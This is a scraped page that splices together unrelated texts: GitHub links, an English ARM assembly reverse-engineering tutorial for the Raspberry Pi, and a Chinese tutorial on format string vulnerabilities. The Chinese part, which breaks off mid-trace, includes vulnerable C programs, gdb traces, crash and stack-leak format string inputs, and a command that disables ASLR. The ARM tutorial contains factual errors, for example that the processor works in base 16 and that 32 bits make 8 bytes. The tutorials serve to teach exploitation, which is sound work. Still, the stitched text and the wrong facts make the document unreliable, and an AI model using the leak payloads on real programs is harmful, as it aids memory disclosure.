+https://github.com/makoto56/penetration-suite-toolkit
+ + + + + + + + +++https://github.com/mytechnotalent/Reverse-Engineering
+by Kevin Thomas
+
“So if I go to college and learn Python or Java will I make a million dollars and have nice things?”
+I felt it necessary to start out this tutorial series with such a statement. This is NOT an attack on Python or Java as in a prior life I worked with Java primarily in Android Development and currently use Python in my professional environment. In today’s Agile environment, rapid-development is reality. With the increased challenges in both the commercial market and the government sector, software development will continue to focus on more robust libraries that will do more with less.
+As a Senior Software Engineer in Test, I try to help as many people as possible bridge their skill-set with either an entry-point or career advancement into the job market. One thing that is critical to understand is that there is and will continue to be a dramatic shortage of engineers and developers of all shapes and sizes.
+Like it or not, hardware is getting smaller and smaller and the trend is going from CISC to RISC. A CISC is your typical x86 computer with a complex series of instructions. CISC computers will always exist however with the trend going toward cloud computing and the fact that RISC machines with a reduced instruction set are so enormously powerful today, they are the obvious choice for consumption.
+How many cell phones do you think exist on earth today? Most of them are RISC machines. How many of you have a Smart TV or Amazon Echo or any number of devices considered part of the IoT or Internet Of Things? Each of these devices have one thing in common – they are RISC and all are primarily ARM based.
+ARM is an advanced RISC machine. Compared to the very complex architecture of a CISC, most ARM systems today are what is referred to as a SoC or system on chip which is an integrated circuit which has all of the components of a computer and electronic system on a single chip. This includes RF functionality as well. These low-power embedded devices can run versions of Windows, Linux and many other advanced operating systems.
+“Well who cares about ARM, you can call it anything you want, I know Python or Java and that’s all I need to know cause when I program it works everywhere so I don’t have to worry about anything under the hood.”
+I again just want you to reflect on the above statement for a brief moment. As every day continues to pass, more and more systems are becoming vulnerable to attack and compromise. Taking the time to understand what is going on under the hood can only help to curb this unfortunate reality.
+This series will focus on ARM Assembly. We will work with a Raspberry Pi 3 which contains the Broadcom BCM2837 SoC with a 4x ARM Cortex-A53, 1.2GHz CPU and 1 GB LPDDR2 RAM. We will work with the Raspbian Jessie, Linux-based operating system. If you don’t own a Raspberry Pi 3, they are usually available for $35 on Amazon or any number of retailers. If you would like to learn more visit https://www.raspberrypi.org.
+We will work solely in the terminal so no pretty pictures and graphics as we are keeping it to the hardcore bare-bones utilizing the GNU toolkit to compile and debug our code base.
+UNDER NO CONDITIONS ARE YOU TO EVER USE THIS EDUCATION TO CAUSE HARM TO ANY SYSTEM OF ANY KIND AS I AM NOT RESPONSIBLE! THIS IS FOR LEARNING PURPOSES ONLY!
+At the core of the microprocessor are a series of binary numbers which are either +5V (on or 1) or 0V (off or 0). Each 0 or 1 represents a bit of information within the microprocessor. A combination of 8 bits results in a single byte.
+Before we dive into binary, lets examine the familiar decimal. If we take the number 2017, we would understand this to be two thousand and seventeen.
+Value 1000s 100s 10s 1s
+
+Representation 10^3 10^2 10^1 10^0
+
+Digit 2 0 1 7
+
+Let’s take a look at the binary system and the basics of how it operates.
+Bit Number b7 b6 b5 b4 b3 b2 b1 b0
+
+Representation 2^7 2^6 2^5 2^4 2^3 2^2 2^1 2^0
+
+Decimal Weight 128 64 32 16 8 4 2 1
+
+If we were to convert a binary number into decimal, we would very simply do the following. Lets take a binary number of 0101 1101 and as you can see it is 93 decimal.
+Bit Weight Value
+
+0 128 0
+
+1 64 64
+
+0 32 0
+
+1 16 16
+
+1 8 8
+
+1 4 4
+
+0 2 0
+
+1 1 1
+
+Adding the values in the value column gives us 0 + 64 + 0 + 16 + 8 + 4 + 0 + 1 = 93 decimal.
+If we were to convert a decimal number into binary, we would check to see if a subtraction is possible relative to the highest order bit and if so, a 1 would be placed into the binary column to which the remainder would be carried into the next row. Let’s consider the example of the decimal value of 120 which is 0111 1000 binary.
+128 64 32 16 8 4 2 1
+
+0 1 1 1 1 0 0 0
+
+1)Can 128 fit inside of 120: No, therefore 0.
+2)Can 64 fit inside of 120: Yes, therefore 1, then 120 – 64 = 56.
+3)Can 32 fit inside of 56: Yes, therefore 1, then 56 – 32 = 24.
+4)Can 16 fit inside of 24: Yes, therefore 1, then 24 – 16 = 8.
+5)Can 8 fit inside of 8: Yes, therefore 1, then 8 – 8 = 0.
+6)Can 4 fit inside of 0: No, therefore 0.
+7)Can 2 fit inside of 0: No, therefore 0.
+8)Can 1 fit inside of 0: No, therefore 0.
+When we want to convert binary to hex we simply work with the following table.
+Decimal Hex Binary
+
+0 0 0000
+
+1 1 0001
+
+2 2 0010
+
+3 3 0011
+
+4 4 0100
+
+5 5 0101
+
+6 6 0110
+
+7 7 0111
+
+8 8 1000
+
+9 9 1001
+
+10 A 1010
+
+11 B 1011
+
+12 C 1100
+
+13 D 1101
+
+14 E 1110
+
+15 F 1111
+
+Lets convert a binary number such as 0101 1111 to hex. To do this we very simply look at the table and compare each nibble which is a combination of 4 bits. Keep in mind, 8 bits is equal to a byte and 2 nibbles are equal to a byte.
+0101 = 5
+
+1111 = F
+
+Therefore 0101 1111 binary = 0x5f hex. The 0x notation denotes hex.
+To go from hex to binary it’s very simple as you have to simply do the opposite such as:
+0x3a = 0011 1010
+
+
+3 = 0011
+
+A = 1010
+
+It is important to understand that each hex digit is a nibble in length therefore two hex digits are a byte in length.
+To convert from hex to decimal we do the following:
+0x5f = 95
+
+
+5 = 5 x 16^1 = 5 x 16 = 80
+
+F = 15 x 16^0 = 15 x 1 = 15
+
+Therefore we can see that 80 + 15 = 95 which is 0x5f hex.
+Finally to convert from decimal to hex. Lets take the number 850 decimal which is 352 hex.
+Division Result(No Remainder) Remainder Remainder Multiplication
+
+850 / 16 53 0.125 0.125 x 16 = 2
+
+53 / 16 3 0.3125 0.3125 x 16 = 5
+
+3 / 16 0 0.1875 0.1875 x 16 = 3
+
+We put the numbers together from bottom to the top and we get 352 hex.
+“Why the hell would I waste my time learning all this crap when the computer does all this for me!”
+If you happen to know any reverse engineers please if you would take a moment and ask them the above question.
+The reality is, if you do NOT have a very firm understanding of how all of the above works, you will NEVER get a grasp on how the ARM processor registers hold and manipulate data. You will NEVER get a grasp on how the ARM processor deals with a binary overflow and it’s effect on how carry operations work nor will you understand how compare operations work or even the most basic operations of the most simple assembly code.
+I am not suggesting you memorize the above, nor am I suggesting that you do a thousand examples of each. All I ask is that you take the time to really understand that literally everything and I mean everything goes down to binary bits in the processor.
+Whether you are creating, debugging or hacking an Assembly, Python, Java, C, C++, R, JavaScript, or any other new language application that hits the street, ultimately everything MUST go down to binary 0 and 1 to which represent a +5V or 0V.
+We as humans operate on the base 10 decimal system. The processor works on a base 16 (hex) system. The registers we are dealing with in conjunction with Linux are addressed in 32-bit sizes. When we begin discussion of the processor registers, we will learn that each are 32-bits wide (technically the BCM2837 are 64-bit wide however our version of Linux that we are working with is 32-bit therefore we only address 32-bits of each register).
+Binary addition can occur in one of four different fashions:
+0 + 0 = 0
+
+1 + 0 = 1
+
+0 + 1 = 1
+
+1 + 1 = 0 (1) [One Plus One Equals Zero, Carry One]
+
+Keep in mind the (1) means a carry bit. It very simply means an overflow.
+Lets take the following 4-bit nibble example:
+ 0111
+
++ 0100
+
+= 1011
+
+We see an obvious carry in the 3rd bit. If the 8th bit had a carry then this would generate a carry flag within the CPU.
+Let’s examine an 8-bit number:
+ 01110000
+
++ 01010101
+
+= 11000101
+
+If we had:
+ 11110000
+
++ 11010101
+
+= (1)11000101
+
+Here we see a carry bit which would trigger the carry flag within the CPU to be 1 or true. We will discuss the carry flag in later tutorials. Please just keep in mind this example to reference as it is very important to understand.
+Binary subtraction is nothing more than adding the negative value of the number to be subtracted. For example 8 + - 4, the starting point would be zero to which we move 8 points in the positive direction and then four points in the negative direction yielding a value of 4.
+We represent a sign bit in binary to which bit 7 indicates the sign of number where 0 is positive and 1 is negative.
+Sign Bit 7 Bits 0 – 6
+
+1 0000011
+
+The above would represent -2.
+We utilize the concept of twos compliment which inverts each bit and then finally adding 1.
+Lets example binary 2.
+00000010
+
+Invert the bits.
+11111101
+
+Add 1.
+ 11111101
+
++ 00000001
+
+ 11111110
+
+Let’s examine a subtraction operation:
+ 00000100 4 decimal
+
+ + 11111110 -2 decimal
+
+(1)00000010 2 decimal
+
+So what is the (1) you may ask, that is the overflow bit. In future tutorials we will examine what we refer to as the overflow flag and carry flag.
+The system on chip we are working with has a 32-bit ARM CPU. 32-bits is actually 4 bytes of information which make up a word.
+If you remember my prior tutorial on x86 Assembly, a word was 16-bits. Every different architecture defines a word differently.
+The most significant bit of a word for our ARM CPU is located at bit 31 therefore a carry is generated if an overflow occurs there.
+The lowest address in our architecture starts at 0x00000000 and goes to 0xFFFFFFFF. The processor sees memory in word blocks therefore every 4 bytes. A memory address associated with the start of a word is referred to as a word boundary and is divisible by 4. For example here is our first word:
+0x00000000
+
+0x00000004
+
+0x00000008
+
+0x0000000C
+
+So why is this important? There is the concept of fetching and executing to which the processor deals with instructions to which it must work in this fashion for proper execution.
+Before we dive into coding assembly it is critical that you understand some basics of how the CPU operates. There will be a number of more lectures going over the framework so I appreciate everyone hanging in there!
+Our ARM microprocessor has internal storage which make any operation must faster as there is no external memory access needed. There are two modes, User and Thumb. We will be focusing on User Mode as we are ultimately focused on developing for a system on chip within a Linux OS rather than bare-metal programming which would be better suited on a microcontroller device.
+In User Mode we have 16 registers and a CPSR register to which have a word length each which is 32-bits each or 8 bytes each.
+Registers R0 to R12 are multi-purpose registers to which R13 – R15 have a unique purpose as well as the CPSR. Lets take a look at a simple table to illustrate.
+R0 GPR (General-Purpose Register)
+
+R1 GPR (General-Purpose Register)
+
+R2 GPR (General-Purpose Register)
+
+R3 GPR (General-Purpose Register)
+
+R4 GPR (General-Purpose Register)
+
+R5 GPR (General-Purpose Register)
+
+R6 GPR (General-Purpose Register)
+
+R7 GPR (General-Purpose Register)
+
+R8 GPR (General-Purpose Register)
+
+R9 GPR (General-Purpose Register)
+
+R10 GPR (General-Purpose Register)
+
+R11 GPR (General-Purpose Register)
+
+R12 GPR (General-Purpose Register)
+
+R13 Stack Pointer
+
+R14 Link Register
+
+R15 Program Counter
+
+CPSR Current Program Status Register
+
+It is critical that we understand registers in a very detailed way. At this point we understand R0 – R12 are general purpose and will be used to manipulate data as we build our programs and additionally when you are hacking apart or reverse engineering binaries from a hex dump on a cell phone or other ARM device, no matter what high-level language it is written in, it must ultimately come down to assembly which you need to understand registers and how they work to grasp and understand of any such aforementioned operation.
+The chip we are working with is known as a load and store machine. This means we load a register with the contents of a register or memory location and we can store a register with the contents of a memory or register location. For example:
+ldr, r4, [r10] @
+ load r4 with the contents of r10, if r10 had the decimal value of
+ say 22, 22 would go to r4
+
+str, r9, [r4] @
+ store r9 contents into location in r4, if r9 had 0x02 hex,
+ 0x02 would be stored into location r4
+
+The @ simply indicates to the compiler that what follows it on a given line is a comment and to be ignored.
+The next few weeks we will take our time and look at each of the special purpose registers so you have a great understanding of what they do.
+We will dive into the registers over the coming weeks to make sure you obtain a firm understand of their role and what they can do.
+We begin with the PC or program counter. The program counter is responsible for directing the CPU to what instruction will be executed next. The PC literally holds the address of the instruction to be fetched next.
+When coding you can refer to the PC as PC or R15 as register 15 is the program counter. You MUST treat it with care as you can set it wrong and crash the executable quite easily.
+You can control the PC directly in code:
+mov r15, 0x00000000
I would not suggest trying that as we are not in Thumb mode and that will cause a fault as you would be going to an OS area rather than designated program area.
+Regarding our ARM processor, we follow the standard calling convention meaning params are passed by placing the param values into regs R0 – R3 before calling the subroutine and the subroutine returns a value by putting it in R0 before returning.
+This is important to understand when we think about how execution flows when dealing with a stack operation and the link register which we will discuss in future tutorials.
+When you are hacking or reversing a binary, controlling the PC is essential when you want to test for subroutine execution and learning about how the program flows in order to break it down and understand exactly what it is doing.
+The CPSR register stores info about the program and the results of a particular operation. Bits that are in the respective registers have pre-assigned conditions that are tested for an occurrence which are flags.
+There are 32-bits that total this register. The highest 4 we are concerned with most which are:
+Bit 31 – N = Negative Flag
+Bit 30 – Z = Zero Flag
+Bit 29 – C = Carry Flag (UNSIGNED OPERATIONS)
+Bit 28 – V = Overflow flag (SIGNED OPERATIONS)
+When the instruction completes the CPSR can get updated if it falls into one of the aforementioned scenarios. If one of the conditions occurs, a 1 goes into the respective bits.
+There are two instructions that directly effect the CPSR flags which are CMP and CMN. CMP is compare such as:
+CMP R1, R0 @notational subtraction where R1 – R0 and if the result is 0, bit 30 Z would be set to 1
+The most logical command that usually follows is BEQ = branch if equal, meaning the zero flag was set and branches to another label within the code.
+Regarding CMP, if two operands are equal then the result is zero. CMN makes the same comparison but with the second operand negated for example:
+CMN R1, R0 @ R1 - (-R0) or R1 + R0
+When dealing with the SUB command, the result would NOT update the CPSR you would have to use the SUBS command to make any flag update respectively.
+The Link Register, R14, is used to hold the return address of a function call.
+When a BL (branch with link) instruction performs a subroutine call, the link register is set to the subroutine return address. BL jumps to another location in the code and when complete allows a return to the point right after the BL code section. When the subroutine returns, the link register returns the address back to the program counter.
+The link register does not require the writes and reads of the memory containing the stack which can save a considerable percentage of execution time with repeated calls of small subroutines.
+When BL has executed, the return address which is the address of the next instruction to be executed, is loaded into the LR or R14. When the subroutine has finished, the LR is copied directly to the PC (Program Counter) or R15 and code execution continues where it was prior in the sequential code source.
+CODE TIME! Don’t be discouraged if you don’t understand everything in the code example here. It will become clear over the next few lessons.
+ +To compile:
+as -o lr_demo.o lr_demo.s
+ld -o lr_demo lr_demo.o
+
+The simple example I created here is pretty self-explanatory. We start and proceed to the no_return subroutine and proceed to the my_function subroutine then to the wrap_up subroutine and finally exit.
+It is necessary that we jump into GDB which is our debugger to see exactly what happens with each step:
+ +As you can see with every step inside the debugger it shows you exactly the progression from no_return to my_function skipping wrap_up until the program counter gets the address from the link register.
+ +Here we see the progression from wrap_up to exit.
+This is a fundamental operation when we see next week how the stack operates as the LR is an essential part of this process.
+The Stack is an abstract data type to which is a LIFO (Last In First Out). When we push a value onto the stack it goes into the Stack Pointer and when it is popped off of the stack it pops the value off of the stack and into a register of your choosing.
+CODE TIME! Again, don’t be discouraged if you don’t understand everything in the code example here. It will become clear over the next few lessons.
+ +To compile:
+as -o sp_demo.o sp_demo.s
+ld -o sp_demo sp_demo.o
+
+Once again lets load the binary into GDB to see what is happening.
+ +Lets step into one time.
+ +We see hex 30 or 48 decimal moved into r7. Lets step into again.
+ +We see the value of the sp change from 0x7efff3a0 to 0xefff39c. That is a movement backward 4 bytes. Why the heck is the stack pointer going backward you may ask!
+The answer revolves around the fact that the stack grows DOWNWARD. When we say the top of the stack you can imagine a series of plates being placed BENEATH of each other.
+Originally the sp was at 0x7efff3a0.
+ +When we pushed r7 onto the stack, the new value of the Stack Pointer is now 0x7efff39c so we can see the Stack truly grows DOWNWARD in memory.
+ +Now lets step into again.
+ +We can see the value of hex 10 or decimal 16 moved into r7. Notice the sp did not change.
+Before we step into again, lets look at the value inside the sp.
+ +Lets step into again.
+ +We see the value in the stack was popped off the stack and put back into r7 therefore the value of hex 30 is back in r7 as well as the sp is back at 0x73fff3a0.
+ +Please take the time to type out the code, compile and link it and then step through the binary in GDB. Stack operations are critical to understanding Reverse Engineering and Malware Analysis as well as any debugging of any kind.
+Let’s take a moment to talk about what happens when we first power on our Raspberry Pi device.
+As soon as the Pi receives power, the graphics processor is the first thing to run as the processor is held in a reset state to which the GPU starts executing code. The ROM reads from the SD card and reads bootcode.bin to which gets loaded into memory in C2 cache and turns on the rest of the RAM to which start.elf then loads.
+The start.elf is an OS for the graphics processor and reads config.txt to which you can mod. The kernel.img then gets loaded into 0x8000 in memory which is the Linux kernel.
+Once loaded, kernel.img turns on the CPU and starts running at 0x8000 in memory.
+If we wanted, we could create our own kernel.img to which we can hard code machine code into a file and replace the original image and then reboot. Keep in mind the ARM word size is 32 bit long which go from bit 0 to 31.
+As stated, when kernel.img is loaded the first byte, which is 8-bits, is loaded into address 0x8000.
+Lets open up a hex editor and write the following:
+FE FF FF EA
+Save the file as kernel.img and reboot.
+“Ok nothing happens, this sucks!”
+Actually something did happen, you created your first bare-metal firmware! Time to break out the champagne!
+When the Pi boots, the below code when it reached kernel.img loads the following:
+FE FF FF EA
+@ address 0x8000, 0xfe gets loaded.
+@ address 0x8001, 0xff gets loaded.
+@ address 0x8002, 0xff gets loaded.
+@ address 0x8003, 0xea gets loaded.
+“So what the hell is really going on?”
+This set of commands simply executes an infinite loop.
+Review the datasheet:
+https://www.raspberrypi.org/wp-content/uploads/2012/02/BCM2835-ARM-Peripherals.pdf
+The above code has 3 parts to it:
+1)Conditional – Set To Always
+2)Op Code – Branch
+3)Offset – How Far To Move Within The Current Location
+Condition – bits 31-28: 0xe or 1110
+Op Code – bits 27-24: 0xa or 1010
+Offset – bits 23-0 -2
+I know this may be a lot to wrap your mind around however it is critical that you take the time and read the datasheet linked above. Do not cut corners if you truly have the passion to understand the above. READ THE DATASHEET!
+I will go through painstaking efforts to break everything down step-by-step however there are exercises like the above that I am asking you to review the datasheet above so you learn how to better understand where to look when you are stuck on a particular routine or set of machine code. This is one of those times I ask you to please read and research the datasheet above!
+“I’m bored! Why the hell does this crap matter?”
+Glad you asked! The single most dangerous malware on planet earth today is that of the root-kit variety. If you do not have a basic understanding of the above, you will never begin to even understand what a root-kit is as you progress in your understanding.
+Anyone can simply replace the kernel.img file with their own hacked version and you can have total control over the entire process from boot.
+ARM is a load and store machine to which the Arithmetic Logic Unit only operates on the registers themselves and any data that needs to be stored out to RAM, the control unit moves the data between memory and the registers which share the same data bus.
+ +Program memory and data memory share the same data bus. This is what we call the Von Neumann Architecture.
+The CPU chip of this architecture holds a control unit and the arithmetic logic unit (along with some local memory) and the main memory is in the form of RAM sticks located on the motherboard.
+A stored-program digital computer is one that keeps its program instructions, as well as its data, in read-write, random-access memory or RAM.
+ + + + + + + + +在 C 语言基础章节中,我们详细介绍了格式化输出函数和格式化字符串的内容。在开始探索格式化字符串漏洞之前,强烈建议回顾该章节。这里我们简单回顾几个常用的。
+#include <stdio.h>
+
+int printf(const char *format, ...);
+int fprintf(FILE *stream, const char *format, ...);
+int dprintf(int fd, const char *format, ...);
+int sprintf(char *str, const char *format, ...);
+int snprintf(char *str, size_t size, const char *format, ...);
+
+字符 | +类型 | +使用 | +
---|---|---|
d | +4-byte | +Integer | +
u | +4-byte | +Unsigned Integer | +
x | +4-byte | +Hex | +
s | +4-byte ptr | +String | +
c | +1-byte | +Character | +
字符 | +类型 | +使用 | +
---|---|---|
hh | +1-byte | +char | +
h | +2-byte | +short int | +
l | +4-byte | +long int | +
ll | +8-byte | +long long int | +
#include<stdio.h>
+#include<stdlib.h>
+void main() {
+ char *format = "%s";
+ char *arg1 = "Hello World!\n";
+ printf(format, arg1);
+}
+printf("%03d.%03d.%03d.%03d", 127, 0, 0, 1); // "127.000.000.001"
+printf("%.2f", 1.2345); // 1.23
+printf("%#010x", 3735928559); // 0xdeadbeef
+
+printf("%s%n", "01234", &n); // n = 5
+
+在 x86 结构下,格式字符串的参数是通过栈传递的,看一个例子:
+#include<stdio.h>
+void main() {
+ printf("%s %d %s", "Hello World!", 233, "\n");
+}
+gdb-peda$ disassemble main
+Dump of assembler code for function main:
+ 0x0000053d <+0>: lea ecx,[esp+0x4]
+ 0x00000541 <+4>: and esp,0xfffffff0
+ 0x00000544 <+7>: push DWORD PTR [ecx-0x4]
+ 0x00000547 <+10>: push ebp
+ 0x00000548 <+11>: mov ebp,esp
+ 0x0000054a <+13>: push ebx
+ 0x0000054b <+14>: push ecx
+ 0x0000054c <+15>: call 0x585 <__x86.get_pc_thunk.ax>
+ 0x00000551 <+20>: add eax,0x1aaf
+ 0x00000556 <+25>: lea edx,[eax-0x19f0]
+ 0x0000055c <+31>: push edx
+ 0x0000055d <+32>: push 0xe9
+ 0x00000562 <+37>: lea edx,[eax-0x19ee]
+ 0x00000568 <+43>: push edx
+ 0x00000569 <+44>: lea edx,[eax-0x19e1]
+ 0x0000056f <+50>: push edx
+ 0x00000570 <+51>: mov ebx,eax
+ 0x00000572 <+53>: call 0x3d0 <printf@plt>
+ 0x00000577 <+58>: add esp,0x10
+ 0x0000057a <+61>: nop
+ 0x0000057b <+62>: lea esp,[ebp-0x8]
+ 0x0000057e <+65>: pop ecx
+ 0x0000057f <+66>: pop ebx
+ 0x00000580 <+67>: pop ebp
+ 0x00000581 <+68>: lea esp,[ecx-0x4]
+ 0x00000584 <+71>: ret
+End of assembler dump.
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x56557000 --> 0x1efc
+EBX: 0x56557000 --> 0x1efc
+ECX: 0xffffd250 --> 0x1
+EDX: 0x5655561f ("%s %d %s")
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd220 --> 0x5655561f ("%s %d %s")
+EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
+EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555569 <main+44>: lea edx,[eax-0x19e1]
+ 0x5655556f <main+50>: push edx
+ 0x56555570 <main+51>: mov ebx,eax
+=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
+ 0x56555577 <main+58>: add esp,0x10
+ 0x5655557a <main+61>: nop
+ 0x5655557b <main+62>: lea esp,[ebp-0x8]
+ 0x5655557e <main+65>: pop ecx
+Guessed arguments:
+arg[0]: 0x5655561f ("%s %d %s")
+arg[1]: 0x56555612 ("Hello World!")
+arg[2]: 0xe9
+arg[3]: 0x56555610 --> 0x6548000a ('\n')
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd220 --> 0x5655561f ("%s %d %s")
+0004| 0xffffd224 --> 0x56555612 ("Hello World!")
+0008| 0xffffd228 --> 0xe9
+0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
+0016| 0xffffd230 --> 0xffffd250 --> 0x1
+0020| 0xffffd234 --> 0x0
+0024| 0xffffd238 --> 0x0
+0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555572 in main ()
+gdb-peda$ r
+Continuing
+Hello World! 233
+[Inferior 1 (process 27416) exited with code 022]
+
+根据 cdecl 的调用约定,在进入 printf()
函数之前,将参数从右到左依次压栈。进入 printf()
之后,函数首先获取第一个参数,一次读取一个字符。如果字符不是 %
,字符直接复制到输出中。否则,读取下一个非空字符,获取相应的参数并解析输出。(注意:% d
和 %d
是一样的)
接下来我们修改一下上面的程序,给格式字符串加上 %x %x %x %3$s
,使它出现格式化字符串漏洞:
#include<stdio.h>
+void main() {
+ printf("%s %d %s %x %x %x %3$s", "Hello World!", 233, "\n");
+}
+
+反汇编后的代码同上,没有任何区别。我们主要看一下参数传递:
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0x56557000 --> 0x1efc
+EBX: 0x56557000 --> 0x1efc
+ECX: 0xffffd250 --> 0x1
+EDX: 0x5655561f ("%s %d %s %x %x %x %3$s")
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
+EIP: 0x56555572 (<main+53>: call 0x565553d0 <printf@plt>)
+EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555569 <main+44>: lea edx,[eax-0x19e1]
+ 0x5655556f <main+50>: push edx
+ 0x56555570 <main+51>: mov ebx,eax
+=> 0x56555572 <main+53>: call 0x565553d0 <printf@plt>
+ 0x56555577 <main+58>: add esp,0x10
+ 0x5655557a <main+61>: nop
+ 0x5655557b <main+62>: lea esp,[ebp-0x8]
+ 0x5655557e <main+65>: pop ecx
+Guessed arguments:
+arg[0]: 0x5655561f ("%s %d %s %x %x %x %3$s")
+arg[1]: 0x56555612 ("Hello World!")
+arg[2]: 0xe9
+arg[3]: 0x56555610 --> 0x6548000a ('\n')
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd220 --> 0x5655561f ("%s %d %s %x %x %x %3$s")
+0004| 0xffffd224 --> 0x56555612 ("Hello World!")
+0008| 0xffffd228 --> 0xe9
+0012| 0xffffd22c --> 0x56555610 --> 0x6548000a ('\n')
+0016| 0xffffd230 --> 0xffffd250 --> 0x1
+0020| 0xffffd234 --> 0x0
+0024| 0xffffd238 --> 0x0
+0028| 0xffffd23c --> 0xf7df1253 (<__libc_start_main+243>: add esp,0x10)
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x56555572 in main ()
+gdb-peda$ c
+Continuing.
+Hello World! 233
+ ffffd250 0 0
+[Inferior 1 (process 27480) exited with code 041]
+
+这一次栈的结构和上一次相同,只是格式字符串有变化。程序打印出了七个值(包括换行),而我们其实只给出了前三个值的内容,后面的三个 %x
打印出了 0xffffd230~0xffffd238
栈内的数据,这些都不是我们输入的。而最后一个参数 %3$s
是对 0xffffd22c
中 \n
的重用。
上一个例子中,格式字符串中要求的参数个数大于我们提供的参数个数。在下面的例子中,我们省去了格式字符串,同样存在漏洞:
+#include<stdio.h>
+void main() {
+ char buf[50];
+ if (fgets(buf, sizeof buf, stdin) == NULL)
+ return;
+ printf(buf);
+}
+gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd1fa ("Hello %x %x %x !\n")
+EBX: 0x56557000 --> 0x1ef8
+ECX: 0xffffd1fa ("Hello %x %x %x !\n")
+EDX: 0xf7f9685c --> 0x0
+ESI: 0xf7f95000 --> 0x1bbd90
+EDI: 0x0
+EBP: 0xffffd238 --> 0x0
+ESP: 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
+EIP: 0x5655562a (<main+77>: call 0x56555450 <printf@plt>)
+EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
+[-------------------------------------code-------------------------------------]
+ 0x56555623 <main+70>: sub esp,0xc
+ 0x56555626 <main+73>: lea eax,[ebp-0x3e]
+ 0x56555629 <main+76>: push eax
+=> 0x5655562a <main+77>: call 0x56555450 <printf@plt>
+ 0x5655562f <main+82>: add esp,0x10
+ 0x56555632 <main+85>: jmp 0x56555635 <main+88>
+ 0x56555634 <main+87>: nop
+ 0x56555635 <main+88>: mov eax,DWORD PTR [ebp-0xc]
+Guessed arguments:
+arg[0]: 0xffffd1fa ("Hello %x %x %x !\n")
+[------------------------------------stack-------------------------------------]
+0000| 0xffffd1e0 --> 0xffffd1fa ("Hello %x %x %x !\n")
+0004| 0xffffd1e4 --> 0x32 ('2')
+0008| 0xffffd1e8 --> 0xf7f95580 --> 0xfbad2288
+0012| 0xffffd1ec --> 0x565555f4 (<main+23>: add ebx,0x1a0c)
+0016| 0xffffd1f0 --> 0xffffffff
+0020| 0xffffd1f4 --> 0xffffd47a ("/home/firmy/Desktop/RE4B/c.out")
+0024| 0xffffd1f8 --> 0x65485ea0
+0028| 0xffffd1fc ("llo %x %x %x !\n")
+[------------------------------------------------------------------------------]
+Legend: code, data, rodata, value
+0x5655562a in main ()
+gdb-peda$ c
+Continuing.
+Hello 32 f7f95580 565555f4 !
+[Inferior 1 (process 28253) exited normally]
+
+如果大家都是好孩子,输入正常的字符,程序就不会有问题。由于没有格式字符串,如果我们在 buf
中输入一些转换指示符,则 printf()
会把它当做格式字符串并解析,漏洞发生。例如上面演示的我们输入了 Hello %x %x %x !\n
(其中 \n
是 fgets()
函数给我们自动加上的),这时,程序就会输出栈内的数据。
我们可以总结出,其实格式字符串漏洞发生的条件就是格式字符串要求的参数和实际提供的参数不匹配。下面我们讨论两个问题:
+为什么可以通过编译?
+因为 printf()
函数的参数被定义为可变的。
printf()
是怎么工作的和格式字符串是什么。然而,编译器并不知道这些。有时格式字符串并不是固定的,它可能在程序执行中动态生成。
+printf()
函数自己可以发现不匹配吗?
+printf()
函数从栈中取出参数,如果它需要 3 个,那它就取出 3 个。除非栈的边界被标记了,否则 printf()
是不会知道它取出的参数比提供给它的参数多了。然而并没有这样的标记。通过提供格式字符串,我们就能够控制格式化函数的行为。漏洞的利用主要有下面几种。
+格式化字符串漏洞通常要在程序崩溃时才会被发现,所以利用格式化字符串漏洞最简单的方式就是使进程崩溃。在 Linux 中,存取无效的指针会引起进程收到 SIGSEGV
信号,从而使程序非正常终止并产生核心转储(在 Linux 基础的章节中详细介绍了核心转储)。我们知道核心转储中存储了程序崩溃时的许多重要信息,这些信息正是攻击者所需要的。
利用类似下面的格式字符串即可触发漏洞:
+printf("%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s")
+
+%s
,printf()
都要从栈中获取一个数字,把该数字视为一个地址,然后打印出地址指向的内存内容,直到出现一个 NULL 字符。使程序崩溃只是验证漏洞的第一步,攻击者还可以利用格式化输出函数来获得内存的内容,为下一步漏洞利用做准备。我们已经知道了,格式化字符串函数会根据格式字符串从栈上取值。由于在 x86 上栈由高地址向低地址增长,而 printf()
函数的参数是以逆序被压入栈的,所以参数在内存中出现的顺序与在 printf()
调用时出现的顺序是一致的。
下面的演示我们都使用下面的源码:
+#include<stdio.h>
+void main() {
+ char format[128];
+ int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
+ char arg4[10] = "ABCD";
+ scanf("%s", format);
+ printf(format, arg1, arg2, arg3, arg4);
+ printf("\n");
+}
+# echo 0 > /proc/sys/kernel/randomize_va_space
+$ gcc -m32 -fno-stack-protector -no-pie fmt.c
+
+我们先输入 b main
设置断点,使用 n
往下执行,在 call 0x56555460 <__isoc99_scanf@plt>
处输入 %08x.%08x.%08x.%08x.%08x
,然后使用 c
继续执行,即可输出结果。
gdb-peda$ n
+[----------------------------------registers-----------------------------------]
+EAX: 0xffffd584 ("%08x.%08x.%08x.%08x.%08x")
+EBX: 0x56557000 --> 0x1efc
+ECX: 0x1
+EDX: 0xf7f9883c --> 0x0
+ESI: 0xf7f96e68 --> 0x1bad90
